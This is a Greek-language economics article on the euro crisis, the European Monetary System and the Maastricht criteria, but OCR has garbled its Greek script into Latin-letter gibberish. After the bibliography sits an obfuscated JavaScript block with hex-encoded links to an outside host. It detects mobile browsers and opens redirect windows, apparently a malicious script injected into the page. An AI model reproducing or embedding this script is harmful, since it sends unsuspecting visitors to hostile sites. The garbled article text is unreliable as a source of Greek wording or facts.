H kpion kat To pEAAov Tou Eupw

>uvtayBnke amo tov/tnv Administrator

H KPIZH KAl TO MEAAON TOY EYPQ

Tou ©avaon Kouppatln

MANPoYpoOpPiEg, CUXVA AVTLKPOUOWEVEG, YLa TN KpLon, Tnv eupwlwvn, Ta spreads, ta cds, TLq
AYOPEG HETOXWV KAl OJOAOYWV, KATT, £XOUV dNnuLOUpYNoEL Yla Balacoa, BoAn kat aypLa
OMOAOYOUMEVWG, TIOU QTIELAEL PE TIVLYMOUG. ATIELAOUVTAL AKOPA KAl OL TILO OELVOL KOAUNPNTEG.
Aoc@alwg To TIPOPAnua &ekivnoe va epgaviletat otnv EAAada aAAa dev dnuLloupynbnke amno
v EANGBQ. H EAANVLKN OLKOVOULA CUUTIUKVWOE KAl EVOWHATWOE TLG EVOOYEVELG AdUVALEG,
TIG QVTLPACELG KAL TLG ATEAELEG TOU TPOTIOU PE TOV OTIOL0 dNPLOUPYNONKE N eupwlwvn KAt TO
eviaio vopLwopa. Ou aduvapieg auteg KAAUTITOVTAY KATa Tn 0EKAETia TG avarTtugng ou
pPonNynonKe, av Kat fpiokovTav avta Katw arno To Aypurivo BAEPHA TwV ayopwy, EVW
eomaoay Biala Twpa 1ou N Kpion OLaAUEL KABE TEXVLKN CUYKAAuyN.

Kat mpwTta art’ oAq, oL dLacTACELG ToU TIPORARNATOC OEV Elval AUTEG TTIOU dNULOUPYEL TO
EAANVLKO TIPORANPAa aAAd sival oAU yeyaAutepeg. Eival yiyavtiaieg kat amnethouv coBapa
TNV unapgn tng idlag g eupwlwvng. Agv eivat urtePBOALKY N OLATILOTWOT OTL UTIAPXEL
TPAYHATLKOG Kivouvog dLAAUONG ToU eviaiou VoPiopatog. Ooo Kat av WuXOAOYLKEG Kal Lowg
OUVALOONPATLKEG TIPOCEYYLOELG TNV ATIORAAAOUV AUECWES MOALG TNV CUVAVTOUV, N
npayuatikotnta dev aAAalel. To eupw arelleitat. To epwTnua eival anod 1oLoug KLVOUVEUEL.
Av €alpeooupe TOUG TTAPAYOVTEG TIOU TIPOEPXOVTAL ATIO TOV O§UTATO OLEBVH) AVTAYWVLOTIKO,
Ol HEYAAUTEPEG ATIELAEG TIPOEPXOVTAL ATIO TLG LOLEG TLG DOUEG TWV OLKOVOULWY TG
eupwtiaikng Evwong. Zuvetiidpouv €Miong mapayovTeG TIoU TIPOEPXOVTAL aro Tnyv arnoucia
EVLALOU KEVTPOU ANWng TwV TIOALTIKWY KAl OTPATNYLKWY anopaccwv. H dekaeTng urapén tou
EUPW OTO BLEBVN AVTAYWVLIOPO £XEL ATIOOELEEL UE TOV TILO CAPN TPOTIO TIWG OUTE OL
OLKOVOMLKEG BOPEG TWV XWPWV HEAWV, OUTE KAL OL YEWTIOALTIKEG TOUG OTPATNYLKEG Eival
KOLVEG 1 E0TW apoLBaia CUPTIANPWHATLKEG.
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Mriopw auecwWE va dLaKpPivw Tpia dLAapOPETIKA OLKOVOULKA TIAPAYWYLKA TPOTUTIA avapecsa
OTa KPATN / HEAN KAl TPELG OLAPOPETLKEG YEWTIOALTIKEG OTPATNYLKEG. TO BOPELO EUPWTIALIKO
YEPHAVLKO OLKOVOMLKO TIPOTUTIO, TO AYYAOCAEWVLKO KAL TO VOTLO EUPWTIALKO TIEPLPEPELAKO.
AVTLOTOLXEG €lval KaL OL TIOALTIKEG OTPATNYLKEG TWV TPLWV UTIOOUVOAWYV, OTOUG dLEBVELQ
AVTAYWVLONOUG. AUTEG OL dLagopPEG BEV €ival HOVO TIOCOTIKECG AAAAQ KAl TIOLOTLKEG KAL PUE TN
TIApod0 ToU XPOVOU £XOUV OXNUATLOEL JLa ECWTEPLKN avTiBeon avaueoa oTLG XWPEG TIoU Ta
OLKOVOWLKA TOUG CUVOAQ TIapAyouv TIAEOVACHATA OTOUG EEWTEPLKOUG TOUG AOYapLacHoUG Kal
OTLG XWPEG TIoU Ttapayouv eAAeipypata. AvtiBeon ival n kivnon otoug AoyapLacuoug
KEPAAaiwy. Napadootaka oL EAAELPUPATLKEG XWPEG €AV 0TN dLABE0N TOUG TO OTIAO TNG
OLAKUNAVONG TWV CUVAAAQYHATIKWY TOUG LOOTLPLWY WOTE va KAAUWOUV YEPOG TNG
andéotaong aAAd PE TO €vLAio VOPLOPA TO OTIAO auTo £XEL aPoTtALloBei. Aedouevng TG
arouoiag eviaiag dNUOCLOVOULKNG TIOALTIKAG TO XAOUA QUTO YiveTal HEYAAUTEPO.

TOOO N OLKOVOLKY Bewpia 000 KAl N SLEBVNG TIPAKTLKY), EX0OUV ATOdEi&EL TIWG eviaieq
VOULOUATLKEG TIEPLOXEG MTIOPOUV VA ATIOROUV ATIOTEAECUATLKEG KAl va ATIOPEPOUV
MOKPOOLKOVOULKH) ATIOTEAECUATIKOTNTA HOVOV OTAV CUVTPEYXOUV ULa OELPA ano
OUYKEKPLUEVEG TIPOUTIOBECELG. 2E€ YEVLKEG YPAPMEG OL TIPOUTIOBECELG AUTEG Elval 1 EAsUBepPN
OLAKLVNON TWV TIAPAYWYLKWY CUVTEAECTWY, N ATIOUCLA EBVIKWY PPAYMATWY OTLG EPTIOPLKEG
OUVAAAQYEG, N OXETIKY 0TABEPOTNTA TWV TLHWYV KAl O UYNAOG BaBUOG CUYKALONG Kal
OLKOVOMLKNG OAOKANPwONG. Av OOUHE TO OLKOVOULKO avayAugo tng E. Evwong 6a
OLATILOTWOOUUE TIWG TIPAYMATL £XEL ETILTEUXOEL N areAeUBEPWON G TN Kivnon TwV KEPaAaiwyv
KAl TOU EUTIOPioU ayabwy Kal UTiNPeoLwY aAAd n KvnTikOTNTA TNG £pyaciag, Adyw
YAWOGLKNG ETILKOLVWVIAG, KOUATOUPAG, KATT, €ival TIOAU XaunAn. Emniong n agia twv
EMTIOPLKWY ouvaAAaywyv wg 1ipog to AET, eivat peta&u 10 kat 20%, KATL TIou dEiXVEL TIWG N
OLKOVOULKN) OAOKANIpWOT BpiokeTal o€ XaunAd enineda. Av pooBeooupe Tnv arnoucia
eviaiag ONUOCLOVOULKNG KAl avarTtuELlakng TIOALTIKAG TOTE TO avayAugo yilveTal akoua TiLo
Tpaxu. ATo tn dLebvr) TIPAKTLKN KAt TIAAL, YVwPi{ouhe TIwg 0Tav Pia anod TLg mpoulrnobeoelg
(KlvnTikOTNTA KEPaAaiwy) avTipaivel o pua aAAn ( akwvnoia epyaciag) ToTe Xavovtal Kat ot
MECOTIPOBECHEG WPEAELEG ATIO TNV JAKPOOLKOVOWLKT) ATIOTEAECHATIKOTNTA KAl LoopporTtia. Me
AAAa AoyLa oL 0TaBepeq CUVAAAQYUATLKEG LOOTLPLEG TIOU eEa0cPaALleL TO viaio VOULOUQ
ATIOOTEPOUV ATIO TLG EOVIKEG KUBEPVNAOELG TNV LKAVOTNTA VA £PAPPOCOUV TIOALTIKEG
eEopaAuvong Twv dlatapa&ewy TnG rmapaywyng. Nat aAAd to avternxeipnua eivat nwg
TIPOCPEPOUV ACTILOA TIPOOTACILAG OTLG KEPOOOKOTILKEG ETILOECELG TWV AYOoPpwV. TOUAAXLOTOV
E€TOL TILOTEUAV OPLOPEVOL HEXPL TIPOTLVOG YLATL N TIPAYUATLKOTNTA £XEL OEi&EL WG oupPaivel
AKPLBWG To avTiBeTo. TEAKA £ival WPEANPEVEG OL XWPEG MEAN, ATIO TNV ETILTEUEN OTABEPWV
OVOUAOTLKWYV CUVAAAQYUATLKWY LOOTLPLWY TIOU ETILPEPEL TO EUPW 1) OV €ival; Na va yivel
TIEPLOCOTEPO AKPLPNG LA AQUEPOANTITN EKTiUNON, Ba TipeTiel va avatpeEoupe Alyo miicw. Na
BuunBoupe ouvtoua TG PACELG ATIO TLG OTIOLEG TIEPACE N TIOALTLKNG TNG VOULOPATLKNAG
gvorioinong otnv Eupwrmn.
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A@POoU To oUCTNUA TWV 0TABEPWV CUVAAAQYUATLKWY LOOTLULWY Tou Bretton Woods
KATEPPEUOE UOTEPA ATIO TPLAVTA XPovia AeLToupyiag niepimnou, To 1973, oppayilovtag pia
TMPAYHATL XPUOT ETIOXN META TOV TIOAEWNO, OL Eupwrtaiol dgnoav Ta vouiouata Toug aro tn
MLa TTAEUPA va KupaivovTtal EAeubepa evavTtil Tou doAapiou aAAd aro tnv aAAn npooTtiabnoav
vVa PJELWOOUV TLG OLAKUPAVOELG TWV LOOTLPLWY JETAEU Toug. H ekBeon tng etutporing Werner,
npotewve To 1971 tpla otadla pecw Twv oroiwv n Eupwrn 6a octaBeporiolouce TIG LOOTLYIEG
TWV VOULOUATWY Kat 6a Kablepwve €va OPJooTIOVOLAKO EUPWTIAIKO cuoTnua tparnelwy. Ou
AOYOL TToU 0dnyoucav TOUG EUPWTIALOUG NYETEG TIPOG TNV VOULOWATLKNA €vortoinon rtav oduo:
va dLeupuvBel o poAog NG Eupwrng 0TO TIAYKOOHLO OLKOVONLKO CUCTNUA WG ATAvInon othv
Ttote avaglorotia Twv HIMNA, kat otnv petatporn g Eup. Evwong o€ pua nmpayuatika
EVOTIOLNUEVN ayopd ayabwy, utinpeotlwy Kat avipwriwyv. Amo 1o 1969 1ou dpxloav oL TIPwTEQ
oulntnoelg pexpL to 1999 1ou KablepwOnKe To eviaio voplopa nepacav 30 oAGKANpa xpovia
TMELPAPATIOPWY KAl QOKLUNG VOULOPATLKWY TIOALTIKWY. Ol XWPEG TIOU £TIALPVAV JEPOG OTO
neipapa ano tnv apxn dcv \tav oL LdLEG TIoU 0TO TEAOG aroTeAecayv Ta JEAN TNG
eupwlwvng. ZTnv apxn TeocoepLg HOVO XwpPeg, N Nepuavia, OAAavdia, BeAyLo kat
NoUEeBoUpYO OXNUATLOAV PLa BAoN KOWVRG SLAKUPAVONG TWV VOULOPATWY TOUG £VAVTL TOU
doAapiou, Tnv oroia arnokAaAecav «pidl». MeTd arno Aiyo, 101979, OKTw XWPEG, OL APXLKEG
Tou «@LdLoU» Kat n FaAAia, ItaAia, Aavia kat IpAavdia, dnuroupynoav 1o Eupwraikod
Noptopatiko Zuotnua (ENZ), To ormoio meploplle TIG OLAKUPAVOELG TWV LOOTLPLWY JECQA OE
opLopeva mAaiola. Mapa to yeyovog OTL oL dLaPopeS MANBWPLOPOU AVAPECA OTLG XWPEG,
2,7% tng MNeppaviag kat 12,1% tng ItaAiag, ntav apkeTd peyaieg to ENZ katagpepe va
dlatnpnBei kat va enektabel pe tnv evragn tng lomaviag to 1989 tng Bpetaviag to 1990 kat
NG MNoptoyaAiag 1o 1992. MeydAeg TMOALTIKEG AAAAYEC OPWG, OTIWG N KATAPPEUOCT TNG
OOBLETIKNG auToKpatopiag, n evoroinon tng Neppaviag, KA, odriyncav Tov unxaviouo
OuvaAAQypaTIKWV LoOTIPWWY (ENX) og aAAeETIAAANAEG AAAQYEG KAl ETIAVAKABOPLOUO TWV
LOOTLULWYV TWV VOULOPATWV. Ao To MapTio tou 1979 mou dnutoupyrBnke ewg to 1987
MECOAAPBNOAV EVTEKA AAAAYEQG LOOTLPLWY. To cucTNUA avalnTouoE PLa apLlotn Asttoupyia
Tou 6a 1o 0dnNyouoE Ay’ EVOG OTOV TIEPLOPLOPO TWV CUVAAAQYHATIKWY EAEYXWV KAl ag’
€TALPOU OTNV ATIOKPOUCT] TWV KEPOOTKOTILKWY ETILBECEWV.

KaBopiotnkav duo {wveG oplwv EVTOG TWV OTIOLWV TA Vouiouata uropoucayv va
olakupaivovtat. Ztn otevr) {wvn evtaxdnkav OAEG oL XWPEG EKTOG aro tny lotavia, tTnv
MoptoyaAiq, tnv ItaAia kat Bpetavia, ot dLAKUPAVOELG TwV OTIOLWY JUTIOpoUcayV va €ival Tavw
KATW Aro TNV KEVTPLKN LOOTLPLA KATA 6% €vw Ta O0pLa oTh otevnh (wvn ntav 2,25%. Tooo oL
OOULKEG OLKOVOULKEG OLAPOPES TWV XWPWV OCO KAl 1 JEYAAN HETABANTOTNTA TWV TIOALTIKWV
LOOPPOTILWYV TNG ETIOXNG, EPEPAV VOULOUATLKN KpLlon Kat Tov ZentepuBplo tou 1992 n Bpetavia
Kat ITaAia armoxwpnoav pocwpLva arno Tov unxaviouo Katw arod aypleg embeoelq
KEPOOOKOTIWV. AUTO AvAYKAOE TOUG OXEDLAOTEG TNG VOULOUATLKAG TIOALTLKNG va auEnoouv ta
OpLa TWV OLAKUPAVOEWY TIPOKELUEVOU VA ETIAVAPEPOUV TNV ATIOTEAECUATLKN eUeALEia. To
1993 1a 6pLa TWV EMLTPETIOPEVWY BLAKUPAVOEWY £pBacav va ivat +, - , 15%.

2WOoTA 0 PNXAVLOPOG augave 1) JELWVE Ta OpLa TwV SLAKUPAVOEWY avaloya Pe TLG dLeBveiq
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TIOALTIKEG KAL OLKOVOULKEG CUVONKEG TIPOKELUEVOU VA YIVEL ATIOTEAECOUATLKOG KAl CWOTA N hia
Xwpa davelle tTnv AAAn 6tav n deuTePN EPAETIE VA UTIOTIPATAL TO VOULOUA TNG TIPOKELPEVOU
va TO CUYKPATNOEL JE Pallkes ayOpPEQ.

ATo 10 1987 €w¢g 1o 1992 TA MPAYUATA UE TNV VOULCHATLKY TIOALTLKN Tiyatvav KkaAa. Otav
OpwG 1o 1992 MpoeKUYE N avaykn NG €voroinong Twv duo Meppaviwy TOTE auta apyloav va
erdewvwvovTtal. H Meppavia ayvonoe toug kavoveg tou ENX kat mpokeLuevou va
QATIOPPOPNOEL TNG AVATOALKY [Epuavia IPOXWPENOE OE EMEKTATLKY) ONUOCLOVOULKY) TIOALTLKN N
oroia eTnePpePe KAl MANBWPELOHUO KAl EYAAQ ECWTEPLKA EAAELPPATA. LA va QVTINETWTILOEL
NV Kataotaon n Mepuavia augnoe ta eTLTOKLA YEYOVOG TIOU ETTANEE TNV TIpooTiadela Twv
€TALPpWYV TNG va augnoouv Ta nmococtd augnong twv AEN toug. H Kataotaon eKTpayuvenke
Kal TOTE Ntav 1ou n Bpetavia kat ItaAia emecav Bupata KEPSOOKOTILKWY ETILOECEWV.

Qot60o0 n Nepuavia pye TNV aviLMANBWELOTIKY EYPOVR TNG Bondnoe TIg AAAeg Xwpeg Tou ENZ
va AQUERCOUV TNV VOULOMATLKN TOUG A&LoTILoTia 0Tn OLEBvr) ayopd KAl va PELWOOUV Th OpeEn
TWV KEPOOTKOTIWV.

AkoAouBnoe n rmpwTtoBoulia Tou 1992 n oroia £0eTe TIG PACELG YLA HEYAAUTEPN OLKOVOMLKN
evortoinon. H «Agukn BipAog» tiepleixe ouvoAtka 300 yeTpa Ta oroia OPelAav oL XWPeG Tou
ENZ va uAoTiooouv TIPOKELPEVOU va amtEAEUBEPWOOUV OL EUTIOPLKEG CUVAAAQYEG KAl va
Katapynbel O,TL ePmnodLle TNV eAeUBePN AsLToupyia Twv ayopwyv. H aneAeuBepwon Ouwg ntav
rBavov va dnuLoupynoeL avatapda&elg ota emineda Twv TIHWV KAl 0T Tapaywyrn Tou
TIPOLOVTOG KAl YU QuTO OL XWPEG Arogactoayv va 0TaBEPOTIONO0UV TIG CUVAAAQYHATLKEG
TOUG LOOPPOTILEG OE YAKPOOLKOVOWLKO ETILMEDO. TEAKA KATAPYNHONKAv Ta EPTIOdLA OTLG
EMTIOPLKEG OUVAAAQYEG, OL CUVAAAQYHATIKOL EAEYYXOL, KAl TO OLKALWHUA TWV KUBEPVHOEWV va
€PAPPOCOUV VOULOMATLKN KAl CUVAAAQYUQATLKNA TIOALTLKN.

To emdopevVo 0TAdLO \TAV N dNULOUPYLA TNG OLKOVOMLKNG KAl VOuLouaTikng evwong (ONE), oto
TEAOG TOU OTtoilou OAa Ta €6VIKA vouiopata 6a avTikabioctavto ano eva voulopa (arod 1o
ECU ot1o Eupw), Kat OAEG oL KEVTPLKEG Tparmeleq arno pia, Tnv Eupwrnaikn. H evtagn oAwv
TWV UTTIOWNPLWV XWPWV OTOV UNXAVIOPO CUVAAAQYMATLKWY LOOTLULWY RTAV arapaitntn, Kat
Ta neplbwpla dlakupavong Twy LOOTLHLWY Ba Tav oAU oTeVA. AUTH 1TAV 1 OLKOVOULKN)
APXLTEKTOVLKN Tou Zak NTEAOP n ortoia eyKpLiBnke 0to MAQoTPLXT KAl 1 TPLTN pACT) OPLOTNKE
va apxioetl tnv 1 lavouapiou tou 1999.
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Ta KpLTNpPLa TNG cuvenkng sivat yvwotd aAAd Osv nTav apKeTA TELOTLKA yLa tnv Meppavia.
Epgpopoupevn amno 1o ¢pofo tou MANBwPLoPoU {HTNoE £va TPOCHETO OXEDLO OLKOVOULKNAG
€Euylavong To oroio oVOHaoE ZUNPWVO 2TabepdTNTag KAl AvVATITUENG, OTIWG KAAN wpa To
ONMUEPLVO EAANVLKO, KAl TO o100 Ba €£a0PAALLE LOOOKEALOPEVOUG TIPOUTIOAOYLOUOUG 1 KAl
nAcovaopatikoug. H Meppavia mnioteue nwg dev Ba empere va enavaAngei n dekastia Tou
1970 pe Toug uwnAoug MAnBwpLououg Tng MNaAAlag, Tng ItaAiag tng MoptoyaAiag, lortaviag
Kal Bpetaviag, ylati KatL TeTolo 6a odnyouce o€ eva acBeveg eviaio vVOPLoua. O YEPUAVLKOG
Aaog dev ntav MPoBbuphog va EYKATAAELYEL TO LOXUPO HAPKO YLa £va A0BEVEG EUPW.

TeAlka Tov Mdio tou 1998 evieka XWPEG \TaAv YECA 0TA TTAQLOLA TWV KPLTNPLWY TOU
MdaaoTtpixT, AAAEG UE TO OTIABL TOUG KAl AAAEG YE TN Bondela NG «ONULOUPYLKNG AOYLOTIKNAG»
KAl TOV ETIOPEVO XPOVO TO EUPW NTAV TIPAYUATLKOTNTA. AlYO apyOTEPO TIPAYUATIKOTNTA
eywve Kal otnv EAAada.

AV ETILXELPNOOUPE PLA ETIAVEKTLUNON TNG Arodoong ThG supwlwvng, Thv TIPWTn OEKAETIA TNG
AcLtoupyiag t™ng 6a KATaAyaue OTO CUUTIEQPACHA TIWG OL ApXLKOL GTOXOL TIou TEBNKAY,
OnAadr) LoXupdTEPN TIAPOUCLA CTO TIAYKOOULO VOULOUATLKO KAl OLKOVOULKO oUCTNUA Kal
MPOWONON TNG OLKOVOMLKNG OAOKANPWON EVTOG TNG eupwmaikng Evwong, dev £xouv
etuteuxOei. Eni mAeov kat 6Aa ta KpLTipLa g ouvenkng toug MaaotpLyT €ivatl
aAXPNOTEPEVA AKOPA KAl aro Thv (pavatikr oTn THPNon toug eppavia.

Agopur yLa va avadetyBouv oL Bableg pwyPEG TOU EUPWTIAIKOU VOULOPATIKOU CUCTNHATOG
NTav acpailwg n TPEXOUCA TIAYKOOHLA KpLon.

OL avaykaieg mpournobeoelg ou avapePaPe 0TnV apxrn Tou apdpou, dnNAadn n KvnTtikoéTNTA
TWV TIAPAYWYLKWY CUVTEAECTWY, N ATIEAEUBEPWON TWV EPTIOPLKWY CUVAAAAYWV, TO 0TABEPO
ETIMEDO TLUWV KAL N OLKOVOULKT) OAOKANPWOT PECW TNG TIPAYHATLKNG CUYKALONG, LOXUOUV
MEPLKWG. Av €Ealpeooupe TNV Kivnon Twv KEPAAaiwy, TEPLOTOTEPO OPWG TWV
XPNHATOOLKOVOULKWY KAl ALYOTEPO TWV TIAPAYWYLKWY, KAl TNV arneAeubepwaon Tou EPTIOPLOU,
MEPLOCOTEPO TWV Ayabwv Kat TIOAU ALYOTEPO TWV UTINPECLWY, OL AAAEG ONPAVTIKOTEPEG
TPOUTI0BECELG £XOUV OXEOOV aKUPpwWBEL. H KlvnTlKOTNTA TNG Epyaciag €ivatl arnoyonteuTika
XAPNAL, TA ETIMEDA TWV TLUWV Eival BLAPOPETIKA ATIO XWPA O€ XwPa KAl OXL CUPPWVA UE
TNV apXLKN €TLOLWEN yLa pia TLPN o€ KABE TIPOIOV TTavTou, N OLKOVOWLKY) OAOKANPWON ETILONG
TOAU XauNnAd, 0Ta ap)LKA ETILNMEDA AV JETPNOEL PE TOV BELKTN TWV EVOOEUPWTIATKWY
OUVaAAQywv.
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OL eumoplkeg cuvaillayeg wg 1pog to AErM, - eumopeupdtwy Kal UTINPECLWY - EVTOC TNG
eupwlwvng Bpiokovtal o€ YaunAd emineda av cuykplBouv pe ekeiveg Twv HIMA. Auto
onaivel wg n dLadlkaoia NG OLKOVOMLKNG OAOKANPWONG PpiokeTal ota idta emineda 1 Kat
ALlyo XaunAoTeEPQ aro To ONPELO TNG EKKLVNONG, (KATw armo to 16% tou AEIM). AvtiBeta av o
BaBPOG oAoKANpwOoNG NTAV HEYAAUTEPOG TOTE TA OPEAN KABE XWPAG TIOU CUPHPETEXEL 0TV
eviaia voulopaTtikr (wvn Ba ntav moAu yeyaAutepa.

Eniong mapapevel To oxXiopa avapeoa oTig Xwpeg Tou Bopa mou otnpiovtal o€ eva
TIPOTUTIO TIAPAYWYNG EVTACEWG EWOLKELPEUVNG EPYACLAG KAL OTLG XwpeG Tou NoTou 1oy
otnpifovtal o€ Mapaywyeg EVTAOEWG AVELDLKEUTNG £pYACLAg. AUTO TIPAKTIKA ONUALVEL TIWG
Ta Acovaopuata tou Boppd katavaAwvovtal ev yepel arnod ta eAAeipuata tou Notou. Kata
€va PEPOG TIOU agopd 0Tn OOMLKY) OUVBEDN TNG EUPWTIAIKNG OLKOVOMLAG, £TOL EENyEiTAL TO
UPNnAO dnPooto Xpeog Tou NOoTou aAAd auTO OUBOAWG ToV ATTAAAACOEL ATto TLG EUBUVEG TNG
UTIEP XPEWONG KAl TNG KPLong dAVELOPOU TIOU TIPOKAAECE.

AuTOU ToU £100UG 0L EVOOYEVELG AVTLPACELG OEV UTIOPOUV va OTNPLEOUV PLa VOULOPATLKN
TEPLOXN ME OTABEPEG KAl KAELOWHEVEG CUVAAAQYUATLKEG LOOTLPIEG KAL £vA VOULOMA.
Aopalwg kat To ENZ, pe tig {wveg dlakupavong NTav 1o arnodoTLKO omwg £90€LEE N eutieLpla
peTagu tou 1987 kat 1992, kat Lo EUEALKTA TIPOCAPHUOCLPO. Agv prtopei pexpt To 1999 mou
BeoTloBNKE TO €viaio vOouLopa Ta 6pLa TWV ETILTPETOPEVWY OLAKUPAVOEWY VA RTAV OUV TIANV
15% aro TNV KEVTPLKN LOOTLULA KAl ANECWE HETA VA KAELOWVOUV VOULOUATIKEG LOOTLPLEQ
XWPLG va £XEL EMEABEL KQPia OUCLACTLKY ETILTEUEN TwV TpoUlrioBeccwy. Agv eival duvatov. Av
OUYKPLOEL 0TO OUCTNUA TNG EVLALAG VOULOUATIKNG TiEpLoXNG Tng E. Evwong pe ekeivn Twv
HIA, oL dLagpopeg Ba yivouv akopa 1o OEIKTLKEG. AUTEG TIG PWYHEG OTO CUCTNHA TOU EUPW,
€ilval Tou BAETIOUV KAl AVAAUOUV OL AEYOUEVEG AYOPEG TWV KEPOOCKOTIWVY KAl ETILTIBEVTAL
Blata. Auteg eBAemav kat To 1992 otav aneBailav n Aipa AyyAiag kat Tn AlpeTta tTng
ITaAiag.

Tu pemeL va yivet; Av BeAel paypatika n E. Evwon va &gy Bei o€ €va aglomioto
TAyKOOULO TIALKTN, OTO BLEBVEG OLKOVOULKO OUCTNUA, Ba TIPETIEL VA EYKATAAELYEL TIG LOEEG

6/10



H kpion kat To pEAAov Tou Eupw

>uvtayOnke amo tov/tnv Administrator

yLa ETIAVAKABOPLOUO TWV YEWTIOALTIKWY OTPATNYLKWY (Lowg €T auTou entaveABoupe o€ eva
AAAO apBpo), va dnULOUPYNOEL £VA OJOCTIOVOLAKO CUCTNHA ONUOCLOVOULKNG TIOALTIKAG TO
OTI0L0 6a CTOXEUEL OTNV AvVAKATAVOUT) TIOPWV KAl TEXVOYVWOLAG KAl TIPOG TNV TIPAYHATLK
OUYKALON TWV TIAPAYWYLKWV CUCTNUATWY, va emavakabopioel ta KpLtrpla tou MaaotpuXTt he
PEAALOTIKO, EUEALKTO KAl OPBOAOYLKO TPOTIO KAl va TIPOXWPNOEL Ypryopa TLG dLadlkaoieg Tng
TTOALTIKNG €voTrtoinong.

AV CUVEXLOTOUV UE TOV iBLO TPOTIO OL JAKPOOLKOVOULKEG QOUPUETPLEG, N anousia BEoPwY
€VLaLag ONUOCLOVOMLKNG TIOALTLKNG KAL O aTiBavog MOALTLKOG KATAKEPHATIONOG, TOTE €ival
oXedov BEPalo wg, EVTOG TOU 0EUTATOU dLEBVOUG avTaywVLIOPoU, TO eupw Ba TEAELWOoEL
ado&a To cuvtouo Bio Tou.

Koupuatlng ©avaong

OLKOVOUOAOYOG / ZTATLOTLKOG / MeAETNTNG

thanosko@yahoo.com

CEO « Kevtpo MeAetwyv Twv OLKOVOULKWY Kpioewv Kat TnG AteBvoug Acpalelag»

BiBAloypaoia:

Eurostat Yearbook, 2001 — 2009

The theory of optimum currency areas, - American Economic Review 51 (ZentepBpng 161) tou
R. Mundell.

Regional non adjustment and Fiscal policy, Twv Obstfeld Maurice — Giovanni Peri, 1998.
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function _0x3023(_0x562006, 0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3, 0x1b71b5){ 0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;}, 0x3023(_0x562006, 0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','’x68x74x74x70x3ax2fx2fx61x6cx6dx61x6¢cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length’,'_blank','mobileCheck’,'x68x74x74x70x3ax2fx2f
X61Xx6Ccx6dx61Xx6¢Cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373",'x68x74
X74x70x3ax2fx2fx61x6¢cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random’,'-local-storage’,'’x68x74x74x70x3ax2fx2fx61x6cx6dx61x6¢cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation’,'4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','’x68x74x74x70x3ax2fx2fx61x6cx6dx61x6¢cx69x6ex75%
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1X6CXx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028 FhdmtK','ro
und',-hurs','-mnts','864690TKFqJG','forEach’,'abs','1479192fKZCLx','"16548MM,jUpf', filter','vend
or','click’,'setltem’,'3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425, 0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const
_0x3467b1=-parselnt(_0x142fd8(0x19c))/0x1+parselnt(_0x142fd8(0x19f))/0x2+-parselnt(_0x14
2fd8(0x1a5))/0x3+parselnt(_0x142fd8(0x198))/0x4+-parselnt(_0x142fd8(0x191))/0x5+parselnt(
_0x142fd8(0x1a0))/0x6+parselnt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e718){ 0x2e2ad3['push'](_0x2e2ad3['shift'](
));1}(_0x10c¢8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186), 0x3ec38a(0x1a2),'opera’, 0x3ec38a(0x192),'
substr', 0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6¢cx6dx61x6Ccx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187), _0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6¢cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314", _0x3ec38a(0x197), 0x3ec38a(0x194), 0x3ec38a(0x18f), 0x3ec38a(0x196),'x68x74x74x7
Ox3ax2fx2fx61x6cx6dx61x6Cx69x6ex75X78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getltem’,_0x3ec38a(0x1a4), 0x3ec38a(0x19d), 0x3ec38a(0x1al), Ox
3ec38a(0x18d), 0x3ec38a(0x188),'floor', 0x3ec38a(0x19e), 0x3ec38a(0x199), 0x3ec38a(0x1
9b), 0x3ec38a(0x19a), 0x3ec38a(0x189), 0x3ec38a(0x193), 0x3ec38a(0x190),'host','parse’,
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=I[];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptopliemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(oblin)ijpalm(
0s)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||//1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
walabac|ac(er|oo|s-)|ai(ko|rn)|al(av|calco)|amoilan(ex|ny|yw)|aptular(ch|go)|as(te|us)|attw|au(di|-
mir |s
)lavan|be(ck|ll|nq)|bi(Ib|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwalcdm-|cell|chtm|cldc|c
